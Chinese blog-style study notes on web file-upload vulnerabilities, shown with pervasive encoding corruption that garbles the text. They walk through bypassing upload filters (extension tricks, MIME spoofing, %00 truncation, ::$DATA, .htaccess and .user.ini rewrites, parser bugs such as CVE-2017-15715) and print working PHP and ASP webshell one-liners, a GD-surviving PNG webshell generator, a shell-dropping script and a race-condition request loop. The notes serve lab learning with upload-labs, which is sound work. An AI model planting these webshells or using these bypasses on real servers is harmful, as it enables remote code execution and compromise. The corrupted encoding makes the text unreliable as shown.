web安全之文件上傳學(xué)習(xí)總結(jié)

文件上傳

概念

客戶端 選擇發(fā)送的文件->服務(wù)器接收->網(wǎng)站程序判斷->臨時(shí)文件->移動(dòng)到指定的路徑

服務(wù)器 接收的資源程序

文件上傳時(shí)的錯(cuò)誤代碼

  值:0  表明沒(méi)有錯(cuò)誤發(fā)生,文件上傳成功。

  值:1  表明上傳的文件超過(guò)了 php.ini 中 upload_max_filesize 選項(xiàng)限制的值。

  值:2  表明上傳文件的大小超過(guò)了 HTML 表單中 MAX_FILE_SIZE 選項(xiàng)指定的值。

  值:3  表明文件只有部分被上傳。

  值:4  表明沒(méi)有文件被上傳。

繞過(guò)

客戶端

前端js驗(yàn)證

繞過(guò)方式

1、禁用js

2、burp抓包修改后綴名

3、F12修改

4、本地提交

服務(wù)端檢查

檢查后綴

黑名單

1、代碼思路

黑名單是設(shè)置不能通過(guò)的用戶,黑名單以外的用戶都能通過(guò)。

phtml、pht、php3、php4、php5后綴都會(huì)按做php文件執(zhí)行,且不在黑名單內(nèi)。

2、繞過(guò)

找漏網(wǎng)之魚:cer、php3、php4、phtml等。

大小寫繞過(guò) :AsP、PhP

雙寫繞過(guò):.pphphp

利用windows系統(tǒng)特性:

系統(tǒng)特性突破(繞過(guò)防火墻)

漏洞原理: 利用PHP 和 Windows環(huán)境的疊加特性,上傳x.php:.jpg時(shí),會(huì)生成x.php的空白文件,接著,以下符號(hào)在正則匹配時(shí)的相等性:

雙引號(hào)" ? ? 相當(dāng)于 ? 點(diǎn)號(hào).

大于符號(hào)> ? 相當(dāng)于? 問(wèn)號(hào)?

小于符號(hào)< ? 相當(dāng)于 ? 星號(hào)*

文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名

寫入filename.<<<

NTFS交換數(shù)據(jù)流(繞過(guò)防火墻)

漏洞原理:

NTFS文件系統(tǒng)中對(duì)備用數(shù)據(jù)流(文件流)和對(duì)支持windows系統(tǒng)中默認(rèn)采用這種數(shù)據(jù)流::$DATA(只有win支持),如果文件名后加::$DATA會(huì)把上傳的數(shù)據(jù)當(dāng)作文件流去處理,不會(huì)檢測(cè)后綴名,且保持::$DATA之前的文件名目的就是繞過(guò)對(duì)后綴名的檢測(cè),源代碼缺少對(duì)::$DATA的過(guò)濾,抓包在后綴后面加上::$DATA即可,訪問(wèn)時(shí)要去除后面的::$DATA,直接訪問(wèn)php文件就行

例:

test.php:1.jpg

test.php::$DATA

會(huì)被windows系統(tǒng)自動(dòng)去掉不符合規(guī)則符號(hào)后面的內(nèi)容

文件名后加空格----利用Windows系統(tǒng)特性

文件名后加點(diǎn)(.)----利用Windows系統(tǒng)特性

組合以上方法? 代碼迭代問(wèn)題? 只檢測(cè)一次? 可以根據(jù)環(huán)境進(jìn)行組合繞過(guò)

白名單

1、代碼思路

定義其他格式文件 jpg png fig jpeg ico 等,只要不符合以上格式后綴一律不讓上傳? ? ? ?

2、繞過(guò)

MIME修改

媒體類型(通常稱為 Multipurpose Internet Mail Extensions 或 MIME 類型 )是一種標(biāo)準(zhǔn),用來(lái)表示文檔、文件或字節(jié)流的性質(zhì)和格式。

MIME的組成結(jié)構(gòu)非常簡(jiǎn)單;由類型與子類型兩個(gè)字符串中間用 '/' 分隔而組成。不允許空格存在。type 表示可以被分多個(gè)子類的獨(dú)立類別。subtype 表示細(xì)分后的每個(gè)類型。

通用的結(jié)構(gòu)為:type/subtype

MIME類型對(duì)大小寫不敏感,但是傳統(tǒng)寫法都是小寫。

我們只需要將Content-Type改為合適的類型就可以。

文件類型

在網(wǎng)絡(luò)請(qǐng)求中,常用的Content-Type有如下:text/html, text/plain, text/css, text/javascript, image/jpeg, image/png, image/gif, application/x-www-form-urlencoded, multipart/form-data, application/json, application/xml 等。

text/plain(純文本)

text/html(HTML文檔)

text/javascript(js代碼)

application/xhtml+xml(XHTML文檔)

image/gif(GIF圖像)

image/jpeg(JPEG圖像)

image/png(PNG圖像)

video/mpeg(MPEG動(dòng)畫)

application/octet-stream(二進(jìn)制數(shù)據(jù))

application/pdf(PDF文檔)

application/(編程語(yǔ)言) 該種語(yǔ)言的代碼

application/msword(Microsoft Word文件)

message/rfc822(RFC 822形式)

multipart/alternative(HTML郵件的HTML形式和純文本形式,相同內(nèi)容使用不同形式表示)

application/x-www-form-urlencoded(POST方法提交的表單)

multipart/form-data(POST提交時(shí)伴隨文件上傳的表單)

圖片類型:

Content-Type: image/jpeg

Content-Type: image/png

Content-Type: image/gif

僅限制Content-Type的話,Burp抓包,修改Content-Type,然后放行,即可繞過(guò)

%00截?cái)啵℅ET型)

位置在url地址中

嚴(yán)謹(jǐn)獲取后綴名的話 會(huì)獲取最后一個(gè) .后面的后綴

x.php.jpg直接上傳達(dá)不到目的并且會(huì)被重命名

可被截?cái)嗬@過(guò)

上傳路徑名%00截?cái)嗬@過(guò)

上傳的文件名寫成11.jpg, save_path改成../upload/11.php%00,最后保存下來(lái)的文件就是11.php

文件上傳%00截?cái)嗟臈l件:

1 PHP版本小于5.3.4

2 php.ini中的magic_quotes_gpc設(shè)置為Off(魔術(shù)開關(guān)關(guān)閉時(shí))

%00截?cái)嘣恚?/b>

www.xxx.com/abc.php%00.jpg => www.xxx.com/abc.php

0x00截?cái)啵≒OST型)

位置在數(shù)據(jù)包中

0x00需要手動(dòng)解碼 而%00不需要,get請(qǐng)求對(duì)url編碼進(jìn)行解碼,而post表單不對(duì)%00進(jìn)行解碼

burp抓包添加%00并解碼

檢查內(nèi)容

文件頭檢測(cè)

僅限制Content-Type的話,Burp抓包,修改Content-Type,然后放行,即可繞過(guò)

文件內(nèi)容頭檢測(cè)

文件內(nèi)容頭檢測(cè)? ? ? ? 只驗(yàn)證文件內(nèi)容頭的話不安全,配合后綴名驗(yàn)證會(huì)安全些

添加GIF圖片的文件頭GIF89a,繞過(guò)GIF圖片檢查。

常見文件文件頭

https://blog.csdn.net/zhembrace/article/details/52717559?locationNum=10&fps=1

文件內(nèi)容檢查

檢測(cè)內(nèi)容是否合法或含有惡意代碼

繞過(guò)檢查<? 可以使用以下代碼

html 插入 <script language="php"> 調(diào)用數(shù)據(jù)

例:

<script language="php">echo "木馬文件"</script>

<script language="php">eval($_POST['x']);</script>

二次渲染

文件加載檢測(cè)(文件內(nèi)容檢測(cè))

漏洞原理: 服務(wù)器會(huì)根據(jù)用戶上傳的圖片重新生成圖片,但其十六進(jìn)制文件有部分沒(méi)有改變

常見的是對(duì)圖像進(jìn)行二次渲染,一般是調(diào)用PHP 的GD庫(kù)

gif后綴做測(cè)試

保留部分插入后門代碼

渲染函數(shù)導(dǎo)致可用圖片webshell

攻擊原理:

將一個(gè)正常顯示的圖片,上傳到服務(wù)器。尋找圖片被渲染后與原始圖片部分對(duì)比仍然相同的數(shù)據(jù)塊部分,將Webshell代碼插在該部分,然后上傳。具體實(shí)現(xiàn)需要自己編寫Python程序,人工嘗試基本是不可能構(gòu)造出能繞過(guò)渲染函數(shù)的圖片webshell的。

一個(gè)繞過(guò)GD庫(kù)的Webshell生成器:

http://wiki.ioin.in/soft/detail/1q

https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

php圖片二次渲染步驟

制作一張二次渲染過(guò)后,惡意代碼依舊存在的png圖片馬

<?php

//png.php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {

? $r = $p[$y];

? $g = $p[$y+1];

? $b = $p[$y+2];

? $color = imagecolorallocate($img, $r, $g, $b);

? imagesetpixel($img, round($y / 3), 0, $color);

}

imagepng($img,'./pass17.png');

?>

然后添加上述代碼致payload.php

然后上網(wǎng)頁(yè)運(yùn)行127.0.0.1/payload.php

因?yàn)槲覀兇a最后

會(huì)生成一個(gè)pass17.png 圖片

再上傳這張圖片即可繞過(guò)

生成的圖片后門? 需要get post提交兩個(gè)變量

get 0=phpinfo

post 1=-1

利用文件包含漏洞即可運(yùn)行代碼

參考文檔:https://blog.csdn.net/weixin_45588247/article/details/119177948

代碼邏輯

單次過(guò)濾

雙寫文件名繞過(guò) 文件名改成xx.pphphp

條件競(jìng)爭(zhēng)

一些網(wǎng)站允許上傳任意文件,然后檢測(cè)文件是否包含Webshell,如果有則刪除該文件。

unlink()函數(shù)導(dǎo)致木馬文件會(huì)在服務(wù)器存在一定的時(shí)間,再被清除。

服務(wù)器端在處理不同用戶的請(qǐng)求時(shí)是并發(fā)進(jìn)行的

如果并發(fā)處理不當(dāng)或相關(guān)操作邏輯順序設(shè)計(jì)的不合理時(shí),將導(dǎo)致條件競(jìng)爭(zhēng)漏洞

繞過(guò):

它先把文件保存在本地,再檢查,然后刪除

在上傳完成和安全檢查刪除它的間隙,攻擊者用多線程不斷的發(fā)起訪問(wèn)請(qǐng)求該文件

該文件就會(huì)被執(zhí)行從而生成一個(gè)惡意shell

競(jìng)爭(zhēng)刪除前生成shell流程:

上傳文件→訪問(wèn)執(zhí)行文件,生成shell文件→刪除不安全文件 (多線程訪問(wèn))

create_shell.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["x"])?>');?>

python請(qǐng)求代碼

import requests

url = "https://830-d6af6a91-a30e-43e8-9e18-806f4c34cf37.do-not-trust.hacking.run/upload/1.php"

try:

?? i=1

?? while True:

? ? ?? html = requests.get(url)

? ? ?? # print(html.status_code)

? ? ?? if html.status_code == 200:

? ? ? ? ?? print("OK")

? ? ? ? ?? break

? ? ?? else:

? ? ? ? ?? print('no'+str(i))

? ? ? ? ?? i=i+1

except:

?? pass

防御方案:

對(duì)于文件上傳,在將文件保存在本地前就進(jìn)行相應(yīng)的安全檢查

解析安全

參考 中間件解析漏洞

格式變異

php4 php5 phtml pht 等格式 這是有關(guān)apache的配置文件中設(shè)置問(wèn)題 只要滿足特點(diǎn)正則表達(dá)式即可

中間件解析

重寫漏洞

條件: apache開啟重寫模塊,LoadModule rewrite_module modules/mod_rewrite.so

htaccess 文件是 Apache 服務(wù)器中的一個(gè)配置文件,它負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁(yè)配置。通過(guò) htaccess 文件,可以幫我們實(shí)現(xiàn):網(wǎng)頁(yè)301重定向、自定義 404 錯(cuò)誤頁(yè)面、改變文件擴(kuò)展名、允許/阻止特定的用戶或者目錄的訪問(wèn)、禁止目錄列表、配置默認(rèn)文檔等功能。

黑白名單通用,如果可上傳修改 .htaccess 文件 (還能用于隱藏后門)

重寫文件解析規(guī)則繞過(guò)

即先上傳個(gè).htaccess文件,讓解析規(guī)則變更

<FilesMatch ".jpg">

SetHandler application/x-httpd-php

</FilesMatch>

//上傳的所有.jpg文件,將解析為php運(yùn)行

nginx: 上傳.user.ini文件,內(nèi)容為:

#define width 1337

#define height 1337

\x00\x00\x8a\x39\x8a\x39

auto_prepend_file = 1.jpg

把當(dāng)前文件夾下的所有php文件都包含這個(gè)1.jpg

特別注意是當(dāng)前文件夾下

加入目錄里面有index.php和1.jpg,則此時(shí)訪問(wèn)index.php,網(wǎng)頁(yè)中就包含了木馬

其他:

雙文件上傳漏洞

漏洞原理:

往往對(duì)第一個(gè)文件上傳進(jìn)行檢測(cè)而忽略第二個(gè), 所以在第二個(gè)地方上傳shell就行

iis7.0|iis7.5|nginx解析漏洞

漏洞原理:

1、php.ini里cgi.fix_pathinfo=1(默認(rèn)為1)

2、在”Handler Mapping”中取消勾選"僅當(dāng)請(qǐng)求映射至以下內(nèi)容時(shí)才調(diào)用處理程序"

漏洞利用: xxx.jpg/.php表示將圖片當(dāng)成php解析

nginx < 0.83 漏洞

漏洞原理: %00截?cái)?/p>

漏洞利用: /1.jpg%00php

Apache未知擴(kuò)展名解析漏洞

Apache的解析漏洞依賴于一個(gè)特性: Apache默認(rèn)一個(gè)文件可以有多個(gè)以點(diǎn)分割的后綴,當(dāng)最右邊的后綴無(wú)法識(shí)別(不在默認(rèn)一個(gè)文件可以有多個(gè)以點(diǎn)分割的后綴,當(dāng)最右邊的后綴無(wú)法識(shí)別(不在mime.types文件內(nèi)),則文件內(nèi)),則繼續(xù)向左識(shí)別,直到識(shí)別到合法后綴才進(jìn)行解析。

漏洞利用:phpinfo.php.xxx

實(shí)戰(zhàn)中可以上傳rar,owf等文件進(jìn)行利用,如果上傳phpinfo.php.jpg,即使文件名中有.php,也會(huì)直接解析為jpg。因?yàn)锳pache認(rèn)識(shí).jpg,停止繼續(xù)向左識(shí)別。

Apache換行解析漏洞(CVE-2017-15715)

影響范圍:2.4.0~2.4.29版本

環(huán)境:phpstudy2014 Apache + PHP5.4n

此漏洞形成的根本原因,在于$, 正則表達(dá)式中$不僅匹配字符串結(jié)尾位置,也可以匹配\n 或 \r

在解析PHP時(shí),1.php\x0A將被按照PHP后綴進(jìn)行解析,導(dǎo)致繞過(guò)一些服務(wù)器的安全策略。

<FilesMatch \.php$>

SetHandler application/x-httpd-php

</FilesMatch>

限制:獲取文件名時(shí)不能用$_FILES['file']['name'],因?yàn)樗鼤?huì)自動(dòng)把換行去掉。

修復(fù)建議:

1、升級(jí)到最新版本

2、或?qū)⑸蟼鞯奈募孛麨闉闀r(shí)間戳+隨機(jī)數(shù)+.jpg的格式并禁用上傳文件目錄執(zhí)行腳本權(quán)限。

一句話木馬

php

<?php eval($_GET[xxx]);?>

<?php eval($_POST[xxx]);?>

asp

<%eval request("xxx")%>

asp一句話木馬 可以寫在asp,asa,cdx,cer文件中,這些文件都能夠識(shí)別

文件上傳修復(fù)建議

1、使用白名單限制可以上傳的文件擴(kuò)展名

2、注意0x00截?cái)喙簦≒HP更新到最新版本)

3、對(duì)上傳后的文件統(tǒng)一隨機(jī)命名,不允許用戶控制擴(kuò)展名

4、上傳文件的存儲(chǔ)目錄禁用執(zhí)行權(quán)限

代碼審計(jì)中關(guān)注以下函數(shù)

move_uploaded_file() //將上傳的文件移動(dòng)到新位置

全局搜索$_FILES變量,定位到相關(guān)的上傳過(guò)程查看過(guò)濾是否嚴(yán)格。

文件上傳代碼

$is_upload = false;

$msg = null;

if(!empty($_FILES['upload_file'])){

? ? //檢查MIME

? ? $allow_type = array('image/jpeg','image/png','image/gif');

? ? if(!in_array($_FILES['upload_file']['type'],$allow_type)){

? ? ? ? $msg = "禁止上傳該類型文件!";

? ? }else{

? ? ? ? //檢查文件名

? ? ? ? $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

? ? ? ? if (!is_array($file)) {

? ? ? ? ? ? $file = explode('.', strtolower($file));

? ? ? ? }

? ? ? ? $ext = end($file);

? ? ? ? $allow_suffix = array('jpg','png','gif');

? ? ? ? if (!in_array($ext, $allow_suffix)) {

? ? ? ? ? ? $msg = "禁止上傳該后綴文件!";

? ? ? ? }else{

? ? ? ? ? ? $file_name = reset($file) . '.' . $file[count($file) - 1];

? ? ? ? ? ? $temp_file = $_FILES['upload_file']['tmp_name'];

? ? ? ? ? ? $img_path = UPLOAD_PATH . '/' .$file_name;

? ? ? ? ? ? if (move_uploaded_file($temp_file, $img_path)) {

? ? ? ? ? ? ? ? $msg = "文件上傳成功!";

? ? ? ? ? ? ? ? $is_upload = true;

? ? ? ? ? ? } else {

? ? ? ? ? ? ? ? $msg = "文件上傳失??!";

? ? ? ? ? ? }

? ? ? ? }

? ? }

}else{

? ? $msg = "請(qǐng)選擇要上傳的文件!";

}

action屬性是提交的目標(biāo)。

method屬性是提交所用的HTTP方法,常用的就是 POST 和 GET,文件上傳一般用 POST。

enctype屬性必須要寫成這樣,因?yàn)槲募蟼骱推胀ǖ奶峤痪哂胁煌木幋a方式。如果不寫的話,可能會(huì)被當(dāng)做urlencoded,就是k1=v1&k2=v2的鍵值對(duì)形式,導(dǎo)致解析不出東西。

最后是文件輸入框,它的name屬性非常重要,它是PHP腳本中尋找文件的關(guān)鍵字。

接下來(lái)是PHP腳本中的東西,PHP中通過(guò)$_FILES對(duì)象來(lái)讀取文件,通過(guò)下列幾個(gè)屬性:

$_FILESfile - 被上傳文件的名稱。

$_FILESfile - 被上傳文件的類型。

$_FILESfile - 被上傳文件的大?。ㄗ止?jié))。

$_FILESfile - 被上傳文件在服務(wù)器保存的路徑,通常位于臨時(shí)目錄中。

$_FILESfile - 錯(cuò)誤代碼,0為無(wú)錯(cuò)誤,其它都是有錯(cuò)誤。

如果上傳的是數(shù)組的話,會(huì)跳過(guò)$file = explode('.', strtolower($file));。并且后綴有白名單過(guò)濾。

而最終的文件名后綴取的是$file[count($file) - 1],因此我們可以讓$file為數(shù)組。$file[0]為1.php/,也就是reset($file),然后再令$file[2]為白名單中的jpg。

此時(shí)end($file)等于jpg,$file[count($file) - 1]為空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是1.php/.,最終move_uploaded_file會(huì)忽略掉/.,最終上傳1.php。

相關(guān)函數(shù):

getimagesize($filename);函數(shù)判斷文件是否為圖片

exif_imagetype()檢查是否為圖片文件

imagecreatefromjpeg() 二次渲染函數(shù) 由文件或 URL 創(chuàng)建一個(gè)新圖象。

實(shí)戰(zhàn)思路

文件上傳不管是發(fā)現(xiàn)還是利用上都會(huì)根據(jù)產(chǎn)生層面而不同, 常規(guī)無(wú)資料采用常規(guī)思路測(cè)試,有資料的情況下直接參考資料進(jìn)行。

上傳分類

常規(guī)網(wǎng)站

框架CMS

編輯器

中間件

有已知漏洞則利用已知漏洞

靶場(chǎng)項(xiàng)目地址:

https://github.com/c0ny1/upload-labs

https://github.com/admin360bug/upload-labs


后續(xù)筆記修改及完善會(huì)在個(gè)人學(xué)習(xí)記錄更新

有一起學(xué)習(xí)的歡迎加qq群622816049共同討論

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容